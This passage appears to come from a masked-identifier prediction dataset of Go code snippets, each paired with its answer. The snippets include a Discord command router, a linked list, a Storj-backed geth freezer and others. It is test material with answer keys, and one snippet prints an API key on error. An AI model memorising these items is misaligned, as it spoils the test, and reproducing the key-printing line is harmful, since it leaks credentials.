""fmt"" ""strings"" ""time"" ""github.com/bwmarrin/discordgo"" ) type Command struct { Name string Description string Aliases []string Command func(s *discordgo.Session, m *discordgo.MessageCreate) } type CommandRouter struct { Prefix string Name string Commands []Command IgnoreCase bool commandMap map[string]Command } func newCommandRouter(prefix string, commands []Command) (router CommandRouter) { router = CommandRouter{ Prefix: prefix, Commands: commands, commandMap: make(map[string]Command), IgnoreCase: true, } return router } func (cr CommandRouter) initialize(session *discordgo.Session) { cr.buildCommandMap() session.AddHandler(cr.runCommand) } func (cr CommandRouter) buildCommandMap() { for k := range cr.commandMap { delete(cr.commandMap, k) } for _, cmd := range cr.Commands { commandName := cmd.Name if cr.IgnoreCase { commandName = strings.ToLower(commandName) } cr.commandMap[commandName] = cmd if len(cmd.Aliases) > 0 { for _, alias := range cmd.Aliases { commandName = alias if cr.IgnoreCase { commandName = strings.ToLower(commandName) } cr.commandMap[commandName] = cmd } } } cr.commandMap[""help""] = Command{ Name: ""help"", Description: ""Show help for this bot"", Command: cr.helpCommand, } } func (cr CommandRouter) addRouter(newCommand Command) { cr.Commands = append(cr.Commands, newCommand) cr.buildCommandMap() } func (cr CommandRouter) runCommand(s *discordgo.Session, m *discordgo.MessageCreate) { if m.Author.ID == s.State.User.ID { // We don't reply to ourself. return } if strings.HasPrefix(m.Content, cr.Prefix) { // We're handling this command! commandName := strings.TrimPrefix(m.Content, cr.Prefix) if cr.IgnoreCase { commandName = strings.ToLower(commandName) } cmd, ok := cr.commandMap[commandName] if ok { cmd.Command(s, m) } } } func (cr CommandRouter) helpCommand(s *discordgo.Session, m *discordgo.MessageCreate) { var fields []*discordgo.MessageEmbedField for _, cmd := range cr.Commands { var nameArr []string nameArr = append(nameArr, cmd.Name) nameArr = append(nameArr, cmd.Aliases...) fields = append(fields, &discordgo.MessageEmbedField{ Name: strings.Join(nameArr, "", ""), Value: cmd.Description, Inline: false, }) } [MASK] := &discordgo.MessageEmbed{ Type: discordgo.EmbedTypeRich, Title: fmt.Sprintf(""%s Help"", cr.Name), Description: ""Commands available"", Timestamp: time.Now().Format(time.RFC3339), Color: 0x34a1eb, Fields: fields, } s.ChannelMessageSendEmbed(m.ChannelID, [MASK] ) } ",message 220,"// Package linkedlist provides a basic linked list implementation. package linkedlist import ( ""fmt"" ) type node[T comparable] struct { value T next *node[T] } // LinkedList is a basic linked list implementation. type LinkedList[T comparable] struct { head *node[T] length int } // New returns a new empty LinkedList. func New[T comparable]() *LinkedList[T] { ll := &LinkedList[T]{} return ll } // Append adds an item to the end of the list. func (l *LinkedList[T]) Append(v T) { newNode := &node[T]{value: v} if l.head == nil { l.head = newNode } else { current := l.head for current.next != nil { current = current.next } current.next = newNode } l.length++ } // Prepend adds an item to the start of the list. func (l *LinkedList[T]) Prepend(v T) { newNode := &node[T]{value: v, next: l.head} l.head = newNode l.length++ } // Insert adds an item to the list at the given position. // It returns an error if the position is out of range. func (l *LinkedList[T]) Insert(v T, position int) error { const fn = ""Insert"" if position < 0 || position > l.length { return fmt.Errorf(""%s: position %d out of range"", fn, position) } if position == 0 { l.Prepend(v) return nil } if position == l.length { l.Append(v) return nil } prevNode, _ := l.getNodeAt(position) newNode := &node[T]{value: v, next: prevNode.next} prevNode.next = newNode l.length++ return nil } // ParseArray takes a slice of type T and appends each item to the list, // in order. This is a convenience function for quickly building a list // from a slice of values. func (l *LinkedList[T]) ParseArray(values []T) { for _, v := range values { l.Append(v) } } // RemoveHead removes head node from Linked list. func (l *LinkedList[T]) RemoveHead() error { const fn = ""RemoveHead"" if l.length == 0 { return fmt.Errorf(""%s: list is empty"", fn) } current := l.head.next l.head = current l.length-- return nil } // RemoveTail removes the tail node of the list. func (l *LinkedList[T]) RemoveTail() error { const fn = ""RemoveTail"" if l.length == 0 { return fmt.Errorf(""%s: list is empty"", fn) } if l.length == 1 { return l.RemoveHead() } [MASK] , err := l.getNodeAt(l.length - 2) if err != nil { return fmt.Errorf(""%s: %w"", fn, err) } [MASK] .next = nil l.length-- return nil } // RemoveNode removes specified node from Linked list. func (l *LinkedList[T]) RemoveNode(position int) error { if position < 0 || position >= l.length { return fmt.Errorf(""RemoveNode: position %d out of range"", position) } if position == 0 { return l.RemoveHead() } if position == l.length-1 { return l.RemoveTail() } prevNode, err := l.getNodeAt(position - 1) if err != nil { return fmt.Errorf(""RemoveNode: %w"", err) } prevNode.next = prevNode.next.next l.length-- return nil } // Print prints out all the values in the list. This is mostly useful for // debugging. func (l *LinkedList[T]) Print() { current := l.head for current != nil { fmt.Print(current.value, "" "") current = current.next } fmt.Println() } // SearchItem searches for an item in the list. func (l *LinkedList[T]) SearchItem(value T) bool { current := l.head for current != nil { if current.value == value { return true } current = current.next } return false } // GetLength prints the length of the list. func (l *LinkedList[T]) GetLength() int { return l.length } func (l *LinkedList[T]) getNodeAt(position int) (*node[T], error) { const fn = ""getNodeAt"" if position == 0 || position > l.length { return nil, fmt.Errorf(""%s: position %d out of range"", fn, position) } current := l.head for i := 1; i < position; i++ { current = current.next } return current, nil } ",secondLast 221,"package main // A simple key-value store as goroutine import ( ""fmt"" ""math/rand"" ""time"" ) type Item struct { key int value string } type ReadOp struct { key int result chan Item } type WriteOp struct { item Item result chan bool } func StartKeyValueStore(input <-chan interface{}) { var store = make(map[int]string) for op := range input { switch op.(type) { case ReadOp: fmt.Printf(""Reading the value %v\n"", op.key) value, ok := store[op.key] if ok { op.result <- Item{op.key, value} } else { op.result <- Item{0, """"} } case WriteOp: fmt.Printf(""Writing the item %v\n"", op.item) store[op.item.key] = op.item.value op.result <- true default: fmt.Printf(""Unknown operation %v\n"", op) } } } func main() { var input = make(chan interface{}) var readResult = make(chan Item) var [MASK] = make(chan bool) go StartKeyValueStore(input) for { key := rand.Intn(32) switch rand.Intn(2) { case 0: input <- ReadOp{key: key, result: readResult} result := <-readResult fmt.Printf(""Reading %v... result is %v\n"", key, result) case 1: input <- WriteOp{item: Item{key: key, value: ""Apple""}, result: [MASK] } result := <- [MASK] fmt.Printf(""Writing %v... result is %v\n"", key, result) } time.Sleep(250 * time.Millisecond) } } ",writeResult 222,"package app import ( ""fmt"" ""github.com/alecthomas/kingpin/v2"" ""github.com/k8shuginn/hpa_reporter/cmd/hpa-reporter/app/collector"" ""github.com/k8shuginn/hpa_reporter/cmd/hpa-reporter/app/config"" ""github.com/k8shuginn/hpa_reporter/cmd/hpa-reporter/app/reporter"" ""github.com/k8shuginn/hpa_reporter/logger"" ""go.uber.org/zap"" ""os"" ""os/signal"" ""syscall"" ) var ( ConfigPath = kingpin.Flag(""app.config"", ""config file path."").Default(config.DefaultConfigPath).String() Name = ""hpa-reporter"" ) func init() { kingpin.Parse() } type App struct { appConfig *config.AppConfig rh *reporter.Handler ch *collector.Handler } func NewApp() *App { return &App{} } func (a *App) Init() error { var err error // load config a.appConfig, err = config.LoadConfig(*ConfigPath) if err != nil { return fmt.Errorf(""failed to load config: %w"", err) } logger.Info(""config loaded"", zap.Any(""config"", a.appConfig)) // create reporter handler a.rh, err = reporter.NewReporterHandler(a.appConfig.Reporters) if err != nil { return fmt.Errorf(""failed to create reporter handler: %w"", err) } // create collector handler a.ch, err = collector.NewCollectorHandler(a.rh, a.appConfig.Hpa) if err != nil { return fmt.Errorf(""failed to create collector handler: %w"", err) } return nil } func (a *App) Execute() { logger.Info(Name + "" is started ... "") [MASK] := make(chan os.Signal, 1) signal.Notify( [MASK] , syscall.SIGINT, syscall.SIGTERM) a.ch.Run() select { case sig := <- [MASK] : a.Shutdown() logger.Info(Name+"" is shutdown"", zap.String(""signal"", sig.String())) } } func (a *App) Shutdown() { a.ch.Shutdown() logger.Info(Name + "" is stopped ... "") a.rh.Shutdown() logger.Info(""reporter is stopped ... "") } ",sigChan 223,"package cloudfunctions import ( ""fmt"" ""log"" ""encoding/json"" ""net"" ""net/http"" ""net/url"" ""github.com/ThreeDotsLabs/watermill"" ""github.com/ThreeDotsLabs/watermill/message"" ""github.com/ThreeDotsLabs/watermill/message/router/middleware"" ""github.com/kuldeep-kg/event-manager/watermillpubsub"" event_pb ""github.com/maira-io/apiserver/generated/event"" ""github.com/prometheus/alertmanager/template"" ""google.golang.org/protobuf/types/known/timestamppb"" ) func PrometheusWebhookWithWatermillRouter(w http.ResponseWriter, r *http.Request) { // router := CreateWatermillRouter() // subscriber := CreateWatermillSubscriber() publisher := watermillpubsub.CreateWatermillPublisher() // SetHandlers(router, subscriber, publisher) defer r.Body.Close() data := template.Data{} if err := json.NewDecoder(r.Body).Decode(&data); err != nil { fmt.Fprint(w, err.Error()) return } for _, alert := range data.Alerts { event := &event_pb.Event{ Tenant: ""customer1"", Namespace: ""default"", EventType: alert.Labels[""alertname""], Site: getHost(data.ExternalURL), Timestamp: timestamppb.New(alert.StartsAt), Message: alert.Annotations[""description""], Severity: alert.Labels[""severity""], Labels: alert.Labels, Annotations: alert.Annotations, } log.Println(event) payload, _ := json.Marshal(event) PublishMessages(publisher, payload) } fmt.Fprint(w, ""successfully processed"") } func getHost(externalurl string) string { u, err := url.Parse(externalurl) if err != nil { panic(err) } [MASK] , _, _ := net.SplitHostPort(u.Host) return [MASK] } func PublishMessages(publisher message.Publisher, payload message.Payload) { msg := message.NewMessage(watermill.NewUUID(), payload) middleware.SetCorrelationID(watermill.NewUUID(), msg) log.Printf(""sending message %s, correlation id: %s\n"", msg.UUID, middleware.MessageCorrelationID(msg)) if err := publisher.Publish(""maira.event"", msg); err != nil { panic(err) } } ",host 224,"package main import ( ""bytes"" ""compress/gzip"" ""context"" ""encoding/json"" ""errors"" ""fmt"" ""io/ioutil"" ""math/big"" ""os"" ""sort"" ""strconv"" ""strings"" ""sync"" ""sync/atomic"" ""time"" ""storj.io/uplink"" ""github.com/ethereum/go-ethereum/common"" ""github.com/ethereum/go-ethereum/core/rawdb"" ""github.com/ethereum/go-ethereum/core/types"" ""github.com/ethereum/go-ethereum/log"" ""github.com/ethereum/go-ethereum/metrics"" ""github.com/ethereum/go-ethereum/rlp"" lru ""github.com/hashicorp/golang-lru"" ) const ( storjEncodeJSON = "".json"" storjEncodeJSONGZ = "".json.gz"" indexMarker = ""index-marker"" ) var ( storjROnly = false storjBlocksGroupSize = uint64(32 * 32) storjHashesGroupSize = uint64(32 * 32 * 32) storjEncoding = storjEncodeJSONGZ errOutOfBounds = errors.New(""out of bounds"") errNotSupported = errors.New(""this operation is not supported"") errOutOrderInsertion = errors.New(""the append operation is out-order"") ) func init() { if v := os.Getenv(""GETH_FREEZER_STORJ_BLOCK_GROUP_SIZE""); v != """" { i, err := strconv.ParseUint(v, 10, 64) if err != nil { panic(err) } storjBlocksGroupSize = i } if v := os.Getenv(""GETH_FREEZER_STORJ_HASH_GROUP_SIZE""); v != """" { i, err := strconv.ParseUint(v, 10, 64) if err != nil { panic(err) } storjHashesGroupSize = i } if v := os.Getenv(""GETH_FREEZER_STORJ_ENCODING""); v != """" { storjEncoding = v } if v := os.Getenv(""GETH_FREEZER_STORJ_R_ONLY""); v != """" { storjROnly = true } } type logMetrics struct { readMeter metrics.Meter // Meter for measuring the effective amount of data read writeMeter metrics.Meter // Meter for measuring the effective amount of data written sizeGauge metrics.Gauge // Gauge for tracking the combined size of all freezer tables } type storjAccess struct { passphrase string apiKey string satellite string } type freezerRemoteStorj struct { session *uplink.Access service *uplink.Project namespace string quit chan struct{} mu sync.Mutex readOnly bool readMeter metrics.Meter // Meter for measuring the effective amount of data read writeMeter metrics.Meter // Meter for measuring the effective amount of data written sizeGauge metrics.Gauge // Gauge for tracking the combined size of all freezer tables // uploader *s3manager.Uploader // downloader *s3manager.Downloader frozen *uint64 // the length of the frozen blocks (next appended must == val) // TODO: Reusable gzip r/w encoding string blockObjectGroupSize uint64 // how many blocks to include in a single S3 object hashObjectGroupSize uint64 wCacheBlocks *lru.Cache wCacheHashes *lru.Cache rCacheBlocks *lru.Cache rCacheHashes *lru.Cache log log.Logger } // AncientObjectStorj describes the storage encoding unit for a 'block'. // These objects are grouped in an array for storage with size determined by storjBlocksGroupSize. type AncientObjectStorj struct { Hash common.Hash `json:""hash""` Header *types.Header `json:""header""` Body *types.Body `json:""body""` Receipts []*types.ReceiptForStorage `json:""receipts""` Difficulty *big.Int `json:""difficulty""` } // NewAncientObjectStorj reverses decodes the incoming RLP bytes, applying the values // to its own type definition's fields. func NewAncientObjectStorj(hashB, headerB, bodyB, receiptsB, difficultyB []byte) (AncientObjectStorj, error) { var err error hash := common.BytesToHash(hashB) header := &types.Header{} err = rlp.DecodeBytes(headerB, header) if err != nil { return AncientObjectStorj{}, err } body := &types.Body{} err = rlp.DecodeBytes(bodyB, body) if err != nil { return AncientObjectStorj{}, err } receipts := []*types.ReceiptForStorage{} err = rlp.DecodeBytes(receiptsB, &receipts) if err != nil { return AncientObjectStorj{}, err } difficulty := new(big.Int) err = rlp.DecodeBytes(difficultyB, difficulty) if err != nil { return AncientObjectStorj{}, err } return AncientObjectStorj{ Hash: hash, Header: header, Body: body, Receipts: receipts, Difficulty: difficulty, }, nil } // RLPBytesForKind return the RLP encoded bytes expected by the AncientStore interface // for a given 'kind' on the block object. func (o AncientObjectStorj) RLPBytesForKind(kind string) []byte { switch kind { case rawdb.FreezerRemoteHashTable: return o.Hash.Bytes() case rawdb.FreezerRemoteHeaderTable: b, err := rlp.EncodeToBytes(o.Header) if err != nil { log.Crit(""Failed to RLP encode block header"", ""err"", err) } return b case rawdb.FreezerRemoteBodiesTable: b, err := rlp.EncodeToBytes(o.Body) if err != nil { log.Crit(""Failed to RLP encode block body"", ""err"", err) } return b case rawdb.FreezerRemoteReceiptTable: b, err := rlp.EncodeToBytes(o.Receipts) if err != nil { log.Crit(""Failed to RLP encode block receipts"", ""err"", err) } return b case rawdb.FreezerRemoteDifficultyTable: b, err := rlp.EncodeToBytes(o.Difficulty) if err != nil { log.Crit(""Failed to RLP encode block difficulty"", ""err"", err) } return b default: panic(fmt.Sprintf(""unknown kind: %s"", kind)) } } func storjKeyBlock(number uint64) string { // Keep blocks in a dir. // This namespaces the resource, separating it from the 'index-marker' object. return fmt.Sprintf(""blocks/%09d%s"", number, storjEncoding) } func storjKeyHash(number uint64) string { return fmt.Sprintf(""hashes/%09d%s"", number, storjEncoding) } func (f *freezerRemoteStorj) blockObjectKeyForN(n uint64) string { return storjKeyBlock((n / f.blockObjectGroupSize) * f.blockObjectGroupSize) // 0, 32, 64, 96, ... } func (f *freezerRemoteStorj) hashObjectKeyForN(n uint64) string { return storjKeyHash((n / f.hashObjectGroupSize) * f.hashObjectGroupSize) } // TODO: this is superfluous now; bucket names must be user-configured func (f *freezerRemoteStorj) bucketName() string { return fmt.Sprintf(""%s"", f.namespace) } func (f *freezerRemoteStorj) initializeBucket(ctx context.Context) error { start := time.Now() _, err := f.service.EnsureBucket(ctx, f.bucketName()) if err != nil { return fmt.Errorf(""Could not ensure bucket %v"", err) } f.log.Info(""Bucket ensured"", ""name"", f.bucketName(), ""elapsed"", common.PrettyDuration(time.Since(start))) return nil } func (f *freezerRemoteStorj) downloadBlocksObject(ctx context.Context, n uint64) error { key := f.blockObjectKeyForN(n) result, err := f.service.DownloadObject(ctx, f.bucketName(), key, &uplink.DownloadOptions{Length: -1}) if err != nil { f.log.Error(""Download error"", ""method"", ""downloadBlocksObject"", ""error"", err, ""key"", key) return err } target := []AncientObjectStorj{} buf, err := ioutil.ReadAll(result) if err != nil { f.log.Error(""Failed to read buffer"", ""method"", ""downloadBlocksObject"", ""error"", err, ""key"", key) } err = f.decodeObject(buf, &target) if err != nil { return err } if len(target) > 0 { for _, v := range target { // Ignore any persisted data above current frozen level. // This is truncated data that hasn't been overwritten yet. if v.Header.Number.Uint64() >= atomic.LoadUint64(f.frozen) { continue } f.rCacheBlocks.Add(v.Header.Number.Uint64(), v) } } return nil } func (f *freezerRemoteStorj) downloadHashesObject(ctx context.Context, n uint64) error { var buf []byte key := f.hashObjectKeyForN(n) result, err := f.service.DownloadObject(ctx, f.bucketName(), key, &uplink.DownloadOptions{Length: -1}) if err != nil { f.log.Error(""Download error"", ""method"", ""downloadHashesObject"", ""error"", err, ""key"", key) return err } target := []common.Hash{} buf, err = ioutil.ReadAll(result) if err != nil { return err } err = f.decodeObject(buf, &target) if err != nil { return err } if len(target) > 0 { first := n - (n % f.hashObjectGroupSize) for i, v := range target { n := first + uint64(i) // Ignore any persisted data above current frozen level. // This is truncated data that hasn't been overwritten yet. if n >= atomic.LoadUint64(f.frozen) { continue } f.rCacheHashes.Add(n, v) } } return nil } func (f *freezerRemoteStorj) pullWCacheBlocks(ctx context.Context, n uint64) error { f.log.Info(""Pulling write blocks cache"", ""n"", n) err := f.downloadBlocksObject(ctx, n) if err != nil { return err } for _, k := range f.rCacheBlocks.Keys() { v, _ := f.rCacheBlocks.Get(k) f.wCacheBlocks.Add(k, v) } f.log.Info(""Finished pulling blocks cache"", ""n"", n, ""size"", f.wCacheBlocks.Len()) return nil } func (f *freezerRemoteStorj) pullWCacheHashes(ctx context.Context, n uint64) error { f.log.Info(""Pulling write hashes cache"", ""n"", n) err := f.downloadHashesObject(ctx, n) if err != nil { return err } for _, k := range f.rCacheHashes.Keys() { v, _ := f.rCacheHashes.Get(k) f.wCacheHashes.Add(k, v) } f.log.Info(""Finished pulling hashes cache"", ""n"", n, ""size"", f.wCacheHashes.Len()) return nil } func (f *freezerRemoteStorj) findCached(n uint64, kind string) ([]byte, bool) { if kind == rawdb.FreezerRemoteHashTable { if v, ok := f.wCacheHashes.Get(n); ok { return v.(common.Hash).Bytes(), ok } if v, ok := f.rCacheHashes.Get(n); ok { return v.(common.Hash).Bytes(), ok } } if v, ok := f.wCacheBlocks.Get(n); ok { return v.(AncientObjectStorj).RLPBytesForKind(kind), ok } if v, ok := f.rCacheBlocks.Get(n); ok { return v.(AncientObjectStorj).RLPBytesForKind(kind), ok } return nil, false } // newFreezer creates a chain freezer that moves ancient chain data into // append-only flat file containers. func newFreezerRemoteStorj(ctx context.Context, namespace string, access storjAccess, meter logMetrics) (*freezerRemoteStorj, error) { var err error // Set default cache sizes. // Sizes reflect max number of entries in the cache. // Cache size minimum must be greater than or equal to the group size * 2, // and should not be lower than 2048 * 2 because of how the ancient store rhythm during sync is. blockCacheSize := int(storjBlocksGroupSize) * 2 hashCacheSize := int(storjHashesGroupSize) * 2 if blockCacheSize < 2048*2 { blockCacheSize = 2048 * 2 } if hashCacheSize < 2048*2 { hashCacheSize = 2048 * 2 } rBlockCache, err := lru.New(blockCacheSize) if err != nil { return nil, err } rHashCache, err := lru.New(hashCacheSize) if err != nil { return nil, err } wBlockCache, err := lru.New(blockCacheSize) if err != nil { return nil, err } wHashCache, err := lru.New(hashCacheSize) if err != nil { return nil, err } f := &freezerRemoteStorj{ namespace: namespace, quit: make(chan struct{}), readMeter: meter.readMeter, writeMeter: meter.writeMeter, sizeGauge: meter.sizeGauge, readOnly: storjROnly, // Globals for now. Should probably become CLI flags. // Maybe Remote Freezers need a config struct. blockObjectGroupSize: storjBlocksGroupSize, hashObjectGroupSize: storjHashesGroupSize, wCacheBlocks: wBlockCache, wCacheHashes: wHashCache, rCacheBlocks: rBlockCache, rCacheHashes: rHashCache, log: log.New(""remote"", ""storj""), } switch storjEncoding { case storjEncodeJSONGZ: f.encoding = storjEncodeJSONGZ case storjEncodeJSON: f.encoding = storjEncodeJSON default: return nil, fmt.Errorf(""unknown encoding: %s"", storjEncoding) } f.session, err = uplink.RequestAccessWithPassphrase(ctx, access.satellite, access.apiKey, access.passphrase) if err != nil { fmt.Println(access.apiKey) return nil, fmt.Errorf(""Access request failed %w"", err) } f.service, err = uplink.OpenProject(ctx, f.session) if err != nil { return nil, fmt.Errorf(""could not open project: %v"", err) } _, err = f.service.EnsureBucket(ctx, namespace) if err != nil { return nil, fmt.Errorf(""could not ensure bucket existence %v"", err) } n, _ := f.Ancients(ctx) f.frozen = &n if n > 0 { err = f.pullWCacheBlocks(ctx, n) if err != nil { return f, err } err = f.pullWCacheHashes(ctx, n) if err != nil { return f, err } } return f, nil } // Close terminates the chain freezer, unmapping all the data files. func (f *freezerRemoteStorj) Close(ctx context.Context) error { // I don't see any Close, Stop, or Quit methods for the Storj service. f.service.Close() f.quit <- struct{}{} return nil } // HasAncient returns an indicator whether the specified ancient data exists // in the freezer. func (f *freezerRemoteStorj) HasAncient(ctx context.Context, kind string, number uint64) (bool, error) { v, err := f.Ancient(ctx, kind, number) if err != nil { return false, err } return v != nil, nil } // Ancient retrieves an ancient binary blob from the append-only immutable files. func (f *freezerRemoteStorj) Ancient(ctx context.Context, kind string, number uint64) ([]byte, error) { if atomic.LoadUint64(f.frozen) <= number { return nil, nil } if v, ok := f.findCached(number, kind); ok { return v, nil } if kind == rawdb.FreezerRemoteHashTable { err := f.downloadHashesObject(ctx, number) if err != nil { return nil, err } if v, ok := f.rCacheHashes.Get(number); ok { return v.(common.Hash).Bytes(), nil } return nil, fmt.Errorf(""%w: #%d (%s)"", errOutOfBounds, number, kind) } // Take from remote err := f.downloadBlocksObject(ctx, number) if err != nil { return nil, err } if v, ok := f.rCacheBlocks.Get(number); ok { return v.(AncientObjectStorj).RLPBytesForKind(kind), nil } return nil, fmt.Errorf(""%w: #%d (%s)"", errOutOfBounds, number, kind) } // Ancients returns the length of the frozen items. func (f *freezerRemoteStorj) Ancients(ctx context.Context) (uint64, error) { if f.frozen != nil { return atomic.LoadUint64(f.frozen), nil } f.log.Info(""Retrieving ancients number"") options := &uplink.DownloadOptions{Offset: 0, Length: -1} result, err := f.service.DownloadObject(ctx, f.bucketName(), indexMarker, options) if err != nil { f.log.Error(""DownloadObject error"", ""method"", ""Ancients"", ""error"", err) return 0, err } contents, err := ioutil.ReadAll(result) if err != nil { return 0, err } s := strings.TrimSpace(string(contents)) i, err := strconv.ParseUint(s, 10, 64) f.log.Info(""Finished retrieving ancients num"", ""s"", s, ""n"", i, ""err"", err) return i, err } // AncientSize returns the ancient size of the specified category. func (f *freezerRemoteStorj) AncientSize(ctx context.Context, kind string) (uint64, error) { // TODO for Storj Go-SDK doesn't support this in a convenient way. // This would might require listing all objects in the bucket and summing their sizes. // This method is only used in the InspectDatabase function, which isn't that // important. return 0, errNotSupported } func (f *freezerRemoteStorj) uploadObject(ctx context.Context, key string, object []byte) error { upload, err := f.service.UploadObject(ctx, f.bucketName(), key, &uplink.UploadOptions{}) if err != nil { f.log.Error(""UploadObject error"", ""method"", ""uploadObject"", ""error"", err) } _, err = upload.Write(object) if err != nil { f.log.Error(""Write error"", ""method"", ""uploadObject"", ""error"", err) } err = upload.Commit() if err != nil { f.log.Error(""Commit error"", ""method"", ""uploadObject"", ""error"", err) } return err } func (f *freezerRemoteStorj) setIndexMarker(ctx context.Context, number uint64) error { f.log.Info(""Setting index marker"", ""number"", number) numberStr := strconv.FormatUint(number, 10) // TODO nice expiry here might be good for upload options upload, err := f.service.UploadObject(ctx, f.bucketName(), indexMarker, &uplink.UploadOptions{}) if err != nil { f.log.Error(""UploadObject error"", ""method"", ""setIndexMarker"", ""error"", err) } _, err = upload.Write([]byte(numberStr)) if err != nil { f.log.Error(""Write error"", ""method"", ""setIndexMarker"", ""error"", err) } err = upload.Commit() if err != nil { f.log.Error(""Commit error"", ""method"", ""setIndexMarker"", ""error"", err) } return err } // AppendAncient injects all binary blobs belong to block at the end of the // append-only immutable table files. // // Notably, this function is lock free but kind of thread-safe. All out-of-order // injection will be rejected. But if two injections with same number happen at // the same time, we can get into the trouble. func (f *freezerRemoteStorj) AppendAncient(ctx context.Context, number uint64, hash, header, body, receipts, td []byte) (err error) { // Ensure the binary blobs we are appending is continuous with freezer. if atomic.LoadUint64(f.frozen) != number { return errOutOrderInsertion } // f.log.Info(""Appending ancient"", ""frozen"", atomic.LoadUint64(f.frozen), ""number"", number) f.mu.Lock() defer f.mu.Unlock() o, err := NewAncientObjectStorj(hash, header, body, receipts, td) if err != nil { return err } // Append to both read and write caches. f.rCacheHashes.Add(number, common.BytesToHash(hash)) f.rCacheBlocks.Add(number, o) f.wCacheHashes.Add(number, common.BytesToHash(hash)) f.wCacheBlocks.Add(number, o) atomic.AddUint64(f.frozen, 1) f.log.Trace(""Finished appending ancient"", ""frozen"", atomic.LoadUint64(f.frozen), ""number"", number) return nil } // TruncateAncients discards any recent data above the provided threshold number. func (f *freezerRemoteStorj) TruncateAncients(ctx context.Context, items uint64) error { var err error f.mu.Lock() defer f.mu.Unlock() n := atomic.LoadUint64(f.frozen) f.log.Info(""Truncating ancients"", ""frozen"", n, ""target"", items, ""delta"", n-items) start := time.Now() if !f.readOnly { err = f.setIndexMarker(ctx, items) if err != nil { return err } } for _, c := range []*lru.Cache{ f.rCacheBlocks, f.rCacheHashes, f.wCacheBlocks, f.wCacheHashes, } { keys := c.Keys() for _, k := range keys { if k.(uint64) >= items { c.Remove(k) } } } atomic.StoreUint64(f.frozen, items) f.log.Info(""Finished truncating ancients"", ""elapsed"", common.PrettyDuration(time.Since(start))) return nil } func (f *freezerRemoteStorj) pushWCaches(ctx context.Context) error { var err error err = f.pushCacheGroups(ctx, f.wCacheBlocks, f.blockObjectGroupSize, f.blockObjectKeyForN, f.blockCacheGroupObjectFn) if err != nil { return err } err = f.pushCacheGroups(ctx, f.wCacheHashes, f.hashObjectGroupSize, f.hashObjectKeyForN, f.hashCacheGroupObjectFn) if err != nil { return err } return nil } // cacheSortUint64Keys assumes that the cache uses exclusively uint64 keys, // and returns them in an ascending order. func cacheSortUint64Keys(cache *lru.Cache) []interface{} { keys := cache.Keys() sort.Slice(keys, func(i, j int) bool { return keys[i].(uint64) < keys[j].(uint64) }) return keys } // cacheKeyGroups returns groups of sorted keys, where each // group contains a maximum groupSize elements. // This is used for grouping write objects into respective Storj-object groups. func cacheKeyGroups(c *lru.Cache, groupSize uint64) (groups [][]uint64) { keys := cacheSortUint64Keys(c) group := []uint64{} for _, k := range keys { if uint64(len(group)) == groupSize { groups = append(groups, group) group = []uint64{} } group = append(group, k.(uint64)) } groups = append(groups, group) return groups } // TODO here is where we would implement batching for writes func (f *freezerRemoteStorj) pushCacheGroups(ctx context.Context, cache *lru.Cache, size uint64, keyFn func(uint64) string, groupObjectFn func([]interface{}) interface{}) error { if cache.Len() == 0 { return nil } groups := cacheKeyGroups(cache, size) for _, keyGroup := range groups { if len(keyGroup) == 0 { continue } n := keyGroup[0] if n%size != 0 { log.Crit(""Non-mod group leader"", ""n"", n, ""object.len"", len(keyGroup)) } object := []interface{}{} for _, key := range keyGroup { v, _ := cache.Get(key) object = append(object, v) } b, err := f.encodeObject(groupObjectFn(object)) if err != nil { return err } // TODO might be slow would implement this as a part of batch err = f.uploadObject(ctx, keyFn(n), b) if err != nil { return err } } for _, keyGroup := range groups { // Not a complete group (storj-object), don't delete. if uint64(len(keyGroup)) != size { continue } for _, key := range keyGroup { cache.Remove(key) } } return nil } func (f *freezerRemoteStorj) encodeObject(any interface{}) ([]byte, error) { b, err := json.Marshal(any) if err != nil { return nil, err } if f.encoding == storjEncodeJSONGZ { w := bytes.NewBuffer([]byte{}) gzW, _ := gzip.NewWriterLevel(w, gzip.BestCompression) _, err = gzW.Write(b) if err != nil { gzW.Close() return nil, err } gzW.Close() b = w.Bytes() } return b, nil } func (f *freezerRemoteStorj) decodeObject(input []byte, target interface{}) error { if f.encoding == storjEncodeJSONGZ { r, err := gzip.NewReader(bytes.NewBuffer(input)) if err != nil { return err } defer r.Close() input, err = ioutil.ReadAll(r) if err != nil { return err } } err := json.Unmarshal(input, target) if err != nil { return err } return nil } func (f *freezerRemoteStorj) blockCacheGroupObjectFn(items []interface{}) interface{} { batchSet := make([]AncientObjectStorj, len(items)) for i, v := range items { batchSet[i] = v.(AncientObjectStorj) } return batchSet } func (f *freezerRemoteStorj) hashCacheGroupObjectFn(items []interface{}) interface{} { batchSet := make([]common.Hash, len(items)) for i, v := range items { batchSet[i] = v.(common.Hash) } return batchSet } // sync flushes all data tables to disk. func (f *freezerRemoteStorj) Sync(ctx context.Context) error { f.mu.Lock() defer f.mu.Unlock() n := atomic.LoadUint64(f.frozen) [MASK] := f.wCacheBlocks.Len() f.log.Info(""Syncing ancients"", ""frozen"", n, ""blocks"", [MASK] ) start := time.Now() var err error if !f.readOnly { err = f.pushWCaches(ctx) if err != nil { return err } err = f.setIndexMarker(ctx, atomic.LoadUint64(f.frozen)) if err != nil { return err } } elapsed := time.Since(start) blocksPerSecond := fmt.Sprintf(""%0.2f"", float64( [MASK] )/elapsed.Seconds()) f.log.Info(""Finished syncing ancients"", ""frozen"", n, ""blocks"", [MASK] , ""elapsed"", common.PrettyDuration(elapsed), ""bps"", blocksPerSecond) return err } ",lenBlocks 225,"package config import ( ""encoding/json"" ""encoding/xml"" ""github.com/goexl/config/internal/constant"" ""github.com/pelletier/go-toml/v2"" ""github.com/pelletier/go-toml/v2/unstable"" ""gopkg.in/yaml.v3"" ) // Slice 切片,既可以兼容单个值也可以兼容数组 type Slice[T any] []T // NewSlice 快速创建数组 func NewSlice[T any](items ...T) Slice[T] { return items } func (s *Slice[T]) Length() int { return len(*s) } func (s *Slice[T]) Capacity() int { return cap(*s) } func (s *Slice[T]) Clone() (t Slice[T]) { t = make(Slice[T], len(*s)) copy(t, *s) return } func (s *Slice[T]) UnmarshalJSON(bytes []byte) (err error) { t := new(T) ts := make([]T, 0) start := bytes[0] if constant.JsonArrayStart == start { err = json.Unmarshal(bytes, &ts) } else if constant.JsonObjectStart == start { err = json.Unmarshal(bytes, t) } if constant.JsonObjectStart == start && nil == err { *s = []T{*t} } else if constant.JsonArrayStart == start && nil == err { *s = ts } return } func (s *Slice[T]) UnmarshalXML(decoder *xml.Decoder, start xml.StartElement) (err error) { t := new(T) if ue := decoder.DecodeElement(t, &start); nil != ue { err = decoder.DecodeElement(s, 